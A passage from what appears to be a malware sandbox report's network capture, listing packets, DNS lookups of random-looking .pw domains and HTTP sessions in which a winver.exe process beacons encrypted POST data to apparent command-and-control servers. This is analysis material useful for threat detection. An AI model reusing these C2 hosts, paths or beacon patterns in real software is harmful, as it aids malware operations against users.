Dec 22, 2023 21:31:35.436757088 CET	49736	80	192.168.2.4	45.77.249.79
Dec 22, 2023 21:31:35.802743912 CET	80	49736	45.77.249.79	192.168.2.4
Dec 22, 2023 21:31:35.803150892 CET	49736	80	192.168.2.4	45.77.249.79
Dec 22, 2023 21:31:35.805907011 CET	49736	80	192.168.2.4	45.77.249.79
Dec 22, 2023 21:31:36.169893026 CET	80	49736	45.77.249.79	192.168.2.4
Dec 22, 2023 21:31:36.170080900 CET	49736	80	192.168.2.4	45.77.249.79
Dec 22, 2023 21:31:36.534226894 CET	80	49736	45.77.249.79	192.168.2.4
Dec 22, 2023 21:31:36.754365921 CET	80	49736	45.77.249.79	192.168.2.4
Dec 22, 2023 21:31:36.754401922 CET	80	49736	45.77.249.79	192.168.2.4
Dec 22, 2023 21:31:36.755017996 CET	49736	80	192.168.2.4	45.77.249.79
Dec 22, 2023 21:31:36.755017996 CET	49736	80	192.168.2.4	45.77.249.79
Dec 22, 2023 21:31:37.119350910 CET	80	49736	45.77.249.79	192.168.2.4
Dec 22, 2023 21:31:37.804647923 CET	49737	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:38.006325960 CET	80	49737	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:38.006567955 CET	49737	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:38.006819010 CET	49737	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:38.208348989 CET	80	49737	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:38.208678007 CET	49737	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:38.416351080 CET	80	49737	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:38.416371107 CET	80	49737	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:38.416402102 CET	80	49737	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:38.416735888 CET	49737	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:38.416865110 CET	49737	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:38.619069099 CET	80	49737	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:39.398689985 CET	49738	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:39.602485895 CET	80	49738	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:39.602567911 CET	49738	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:39.602699995 CET	49738	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:39.807838917 CET	80	49738	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:39.807910919 CET	49738	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:40.013670921 CET	80	49738	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:40.013947964 CET	80	49738	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:40.013961077 CET	80	49738	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:40.014209032 CET	49738	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:40.016026974 CET	49738	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:40.218029022 CET	80	49738	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:40.914036036 CET	49739	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:41.115379095 CET	80	49739	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:41.115467072 CET	49739	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:41.115704060 CET	49739	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:41.316739082 CET	80	49739	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:41.316890955 CET	49739	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:41.518258095 CET	80	49739	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:41.519004107 CET	80	49739	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:41.519038916 CET	80	49739	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:41.519419909 CET	49739	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:41.519617081 CET	49739	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:41.726632118 CET	80	49739	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:42.383488894 CET	49740	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:42.585366964 CET	80	49740	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:42.585551023 CET	49740	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:42.585880041 CET	49740	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:42.787254095 CET	80	49740	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:42.787332058 CET	49740	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:42.988810062 CET	80	49740	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:42.989285946 CET	80	49740	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:42.989300013 CET	80	49740	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:42.989473104 CET	49740	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:42.989773035 CET	49740	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:43.191124916 CET	80	49740	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:44.230259895 CET	49741	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:44.432301998 CET	80	49741	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:44.432403088 CET	49741	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:44.432614088 CET	49741	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:44.637361050 CET	80	49741	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:44.637525082 CET	49741	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:44.839313984 CET	80	49741	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:44.839683056 CET	80	49741	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:44.839696884 CET	80	49741	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:44.839868069 CET	49741	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:44.840142965 CET	49741	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:45.041290998 CET	80	49741	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:45.554696083 CET	49742	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:45.755778074 CET	80	49742	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:45.755985022 CET	49742	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:45.756023884 CET	49742	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:45.958229065 CET	80	49742	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:45.958293915 CET	49742	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:46.159310102 CET	80	49742	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:46.159543037 CET	80	49742	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:46.159554958 CET	80	49742	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:46.160032034 CET	49742	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:46.160201073 CET	49742	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:46.363837004 CET	80	49742	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:47.289103985 CET	49743	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:47.489974022 CET	80	49743	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:47.490220070 CET	49743	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:47.490220070 CET	49743	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:47.691344023 CET	80	49743	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:47.691407919 CET	49743	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:47.892277956 CET	80	49743	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:47.892774105 CET	80	49743	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:47.892884970 CET	80	49743	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:47.893059969 CET	49743	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:47.893239021 CET	49743	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:48.093873978 CET	80	49743	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:48.757961035 CET	49744	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:48.959671974 CET	80	49744	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:48.959911108 CET	49744	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:48.965379000 CET	49744	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:49.167006969 CET	80	49744	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:49.167076111 CET	49744	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:49.368465900 CET	80	49744	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:49.369072914 CET	80	49744	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:49.369086027 CET	80	49744	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:49.369282007 CET	49744	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:49.369642019 CET	49744	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:49.571001053 CET	80	49744	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:50.226514101 CET	49745	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:50.428354025 CET	80	49745	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:50.428479910 CET	49745	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:50.428587914 CET	49745	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:50.629724979 CET	80	49745	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:50.629816055 CET	49745	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:50.832439899 CET	80	49745	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:50.832914114 CET	80	49745	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:50.832963943 CET	80	49745	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:50.833229065 CET	49745	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:50.833509922 CET	49745	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:51.041887999 CET	80	49745	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:51.852108002 CET	49746	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:52.053277016 CET	80	49746	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:52.053369045 CET	49746	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:52.053474903 CET	49746	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:52.254337072 CET	80	49746	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:52.254502058 CET	49746	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:52.455352068 CET	80	49746	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:52.456151009 CET	80	49746	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:52.456187010 CET	80	49746	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:52.456392050 CET	49746	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:52.456672907 CET	49746	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:52.657572985 CET	80	49746	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:53.539206982 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:53.739938974 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:53.740031958 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:53.740170002 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:53.940859079 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:53.940949917 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:54.141681910 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:54.143640041 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:54.143652916 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:54.143812895 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:00.129364014 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:00.179281950 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:06.119223118 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:06.163676023 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:12.157475948 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:12.210448027 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:18.121309042 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:18.163656950 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:24.172709942 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:24.226090908 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:30.113518953 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:30.163626909 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:36.151500940 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:36.197509050 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:42.219223022 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:42.273081064 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:48.476336002 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:48.522964001 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:32:54.267589092 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:32:54.319819927 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:33:00.311059952 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:33:00.366671085 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:33:06.116039038 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:33:06.163608074 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:33:12.149950981 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:33:12.194816113 CET	49748	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:33:18.203957081 CET	80	49748	216.218.185.162	192.168.2.4
Dec 22, 2023 21:33:18.257354021 CET	49748	80	192.168.2.4	216.218.185.162

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2023 21:31:01.116009951 CET	54275	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:01.622597933 CET	53	54275	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:20.780147076 CET	49653	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:21.184664965 CET	53	49653	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:36.755748034 CET	51270	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:37.438705921 CET	53	51270	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:38.417537928 CET	60870	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:39.021545887 CET	53	60870	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:40.017096996 CET	54773	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:40.528918982 CET	53	54773	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:41.520317078 CET	65209	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:42.017582893 CET	53	65209	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:42.990463018 CET	65168	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:43.591897964 CET	53	65168	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:44.840640068 CET	62311	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:45.191015005 CET	53	62311	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:46.160896063 CET	53088	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:46.921212912 CET	53	53088	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:47.893970966 CET	54557	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:48.381458044 CET	53	54557	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:49.370465040 CET	57702	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:49.860517025 CET	53	57702	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:50.834176064 CET	61269	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:51.446839094 CET	53	61269	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:52.457361937 CET	54842	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:52.587080956 CET	53	54842	1.1.1.1	192.168.2.4
Dec 22, 2023 21:31:52.588097095 CET	58223	53	192.168.2.4	1.1.1.1
Dec 22, 2023 21:31:53.157351017 CET	53	58223	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2023 21:31:01.116009951 CET	192.168.2.4	1.1.1.1	0xc212	Standard query (0)	spaines.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:20.780147076 CET	192.168.2.4	1.1.1.1	0xc29	Standard query (0)	uyhgqunqkxnx.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:36.755748034 CET	192.168.2.4	1.1.1.1	0x5677	Standard query (0)	vcklmnnejwxx.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:38.417537928 CET	192.168.2.4	1.1.1.1	0xae5a	Standard query (0)	cmnsgscccrej.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:40.017096996 CET	192.168.2.4	1.1.1.1	0xd99	Standard query (0)	evbsdqvgmpph.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:41.520317078 CET	192.168.2.4	1.1.1.1	0x842f	Standard query (0)	mfueeimvyrsp.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:42.990463018 CET	192.168.2.4	1.1.1.1	0x6d7d	Standard query (0)	utmyhnffxpcj.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:44.840640068 CET	192.168.2.4	1.1.1.1	0x466	Standard query (0)	fkmmvfeonnyh.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:46.160896063 CET	192.168.2.4	1.1.1.1	0xf1da	Standard query (0)	gfnlmtcolrrb.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:47.893970966 CET	192.168.2.4	1.1.1.1	0xe359	Standard query (0)	wwgfyvvdtmeq.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:49.370465040 CET	192.168.2.4	1.1.1.1	0x5fd9	Standard query (0)	xtbbpqfrsubt.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:50.834176064 CET	192.168.2.4	1.1.1.1	0x4bd	Standard query (0)	vrmtybxxpddg.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:52.457361937 CET	192.168.2.4	1.1.1.1	0xacfb	Standard query (0)	rvqlfnedcldh.pw	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:52.588097095 CET	192.168.2.4	1.1.1.1	0xd5ab	Standard query (0)	fccfxejgtpqb.pw	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2023 21:31:01.622597933 CET	1.1.1.1	192.168.2.4	0xc212	No error (0)	spaines.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:21.184664965 CET	1.1.1.1	192.168.2.4	0xc29	No error (0)	uyhgqunqkxnx.pw		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:21.184664965 CET	1.1.1.1	192.168.2.4	0xc29	No error (0)	uyhgqunqkxnx.pw		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:21.184664965 CET	1.1.1.1	192.168.2.4	0xc29	No error (0)	uyhgqunqkxnx.pw		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:37.438705921 CET	1.1.1.1	192.168.2.4	0x5677	No error (0)	vcklmnnejwxx.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:39.021545887 CET	1.1.1.1	192.168.2.4	0xae5a	No error (0)	cmnsgscccrej.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:40.528918982 CET	1.1.1.1	192.168.2.4	0xd99	No error (0)	evbsdqvgmpph.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:42.017582893 CET	1.1.1.1	192.168.2.4	0x842f	No error (0)	mfueeimvyrsp.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:43.591897964 CET	1.1.1.1	192.168.2.4	0x6d7d	No error (0)	utmyhnffxpcj.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:45.191015005 CET	1.1.1.1	192.168.2.4	0x466	No error (0)	fkmmvfeonnyh.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:46.921212912 CET	1.1.1.1	192.168.2.4	0xf1da	No error (0)	gfnlmtcolrrb.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:48.381458044 CET	1.1.1.1	192.168.2.4	0xe359	No error (0)	wwgfyvvdtmeq.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:49.860517025 CET	1.1.1.1	192.168.2.4	0x5fd9	No error (0)	xtbbpqfrsubt.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:51.446839094 CET	1.1.1.1	192.168.2.4	0x4bd	No error (0)	vrmtybxxpddg.pw		216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:52.587080956 CET	1.1.1.1	192.168.2.4	0xacfb	Name error (3)	rvqlfnedcldh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2023 21:31:53.157351017 CET	1.1.1.1	192.168.2.4	0xd5ab	No error (0)	fccfxejgtpqb.pw		216.218.185.162	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

www.bing.com

spaines.pw

uyhgqunqkxnx.pw

vcklmnnejwxx.pw

cmnsgscccrej.pw

evbsdqvgmpph.pw

mfueeimvyrsp.pw

utmyhnffxpcj.pw

fkmmvfeonnyh.pw

gfnlmtcolrrb.pw

wwgfyvvdtmeq.pw

xtbbpqfrsubt.pw

vrmtybxxpddg.pw

fccfxejgtpqb.pw

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:19.712755919 CET	93	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: spaines.pw Content-Length: 157 Data Raw: fd 32 8e 32 cc 3a 8e 32 13 62 d0 aa fb 30 8f 11 cd 02 be 02 cd 02 be 02 Data Ascii: 22:2b0
Dec 22, 2023 21:31:19.914130926 CET	133	OUT	Data Raw: 00 80 00 00 00 77 ee f1 1d 7b 26 be ec 1a 51 ba f1 d2 a4 d3 f7 e9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 2b e5 1f ab 10 c0 9f 3e 9b 56 54 d5 5e 23 6d 30 c3 16 dd 0c 89 41 b8 b6 37 36 09 f4 e1 97 6c 02 a5 56 f9 15 81 89 de 1a 7f aa f1 02 7f Data Ascii: w{&QYg6u#a+>VT^#m0A76lV4[hZ?L]VB68@Mngk(
Dec 22, 2023 21:31:20.115583897 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:20 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	45.77.249.79	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:35.805907011 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: uyhgqunqkxnx.pw Content-Length: 157 Data Raw: 81 b7 8b db b9 bf 8b db 6f e7 d5 43 87 b5 8a f8 b1 87 bb eb b1 87 bb eb Data Ascii: oC
Dec 22, 2023 21:31:36.170080900 CET	133	OUT	Data Raw: 00 80 00 00 00 71 e7 f8 13 64 36 a3 b3 01 5e d4 89 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c ce fe 60 56 0c 92 ba b4 15 6a 76 8b 08 97 86 69 a6 93 66 71 df 3b 1e 53 be 0c c9 f1 bc 30 3a 40 02 e8 c1 85 78 a5 b2 db ec df 3d 01 f9 Data Ascii: qd6^Yg6u#a`Vjvifq;S0:@x=vF,W!yew/aa)G!;rc
Dec 22, 2023 21:31:36.754365921 CET	75	IN	HTTP/1.0 200 OK Date: Fri, 22 Dec 2023 20:31:36 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:38.006819010 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: vcklmnnejwxx.pw Content-Length: 157 Data Raw: c0 9a d3 e5 f9 92 d3 e5 2e ca 8d 7d c6 98 d2 c6 f0 aa e3 d5 f0 aa e3 d5 Data Ascii: .}
Dec 22, 2023 21:31:38.208678007 CET	133	OUT	Data Raw: 00 80 00 00 00 72 fd fb 18 78 2d a3 a7 00 51 c2 89 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 16 59 8e 93 a4 3f 00 06 84 08 5d 76 22 d3 7b 9d 3b fe c1 a1 21 5c e4 13 56 bb 19 51 a5 1b 8d bf 78 e0 b1 a8 e9 a0 91 bf 02 d9 5c a6 e8 Data Ascii: rx-QYg6u#aY?]v"{;!\VQx\<Z0^&@TvHUJ%6r]]Y
Dec 22, 2023 21:31:38.416371107 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:38 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:39.602699995 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: cmnsgscccrej.pw Content-Length: 157 Data Raw: 4f 34 bc a9 75 3c bc a9 a1 64 e2 31 49 36 bd 8a 7f 04 8c 99 7f 04 8c 99 Data Ascii: O4u<d1I6
Dec 22, 2023 21:31:39.807910919 CET	133	OUT	Data Raw: 00 80 00 00 00 67 f3 fe 07 72 30 ae a1 09 54 df 9b fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 4a 56 8c 55 6d 6f 02 c4 15 b6 42 b8 82 51 7a 5f c4 d7 c2 67 f8 a6 e5 d1 b1 24 1f 8f 18 bf 8f 7d b2 03 b3 6e fa b4 af 7d cc 52 52 68 ab Data Ascii: gr0TYg6u#aJVUmoBQz_g$}n}RRhk-0ZL[8`,5mOXQtlJS*g_>
Dec 22, 2023 21:31:40.013947964 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:39 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:41.115704060 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: evbsdqvgmpph.pw Content-Length: 157 Data Raw: f4 47 54 60 cf 4f 54 60 1a 17 0a f8 f2 45 55 43 c4 77 64 50 c4 77 64 50 Data Ascii: GT`OT`EUCwdPwdP
Dec 22, 2023 21:31:41.316890955 CET	133	OUT	Data Raw: 00 80 00 00 00 61 e8 f2 07 71 32 bb a5 07 56 ca 99 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c ee 68 0d 2d 27 76 81 bc 6b 99 dd f0 d2 e8 fb 16 7d 10 41 2e 4b 78 64 98 d0 06 98 d6 73 7d 0e 24 c0 dd 30 36 87 5a 2e 25 ea 6a dd 20 b4 Data Ascii: aq2VYg6u#ah-'vk}A.Kxds}$06Z.%j _#Vx^TdzlkTyuc~s6
Dec 22, 2023 21:31:41.519004107 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:41 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
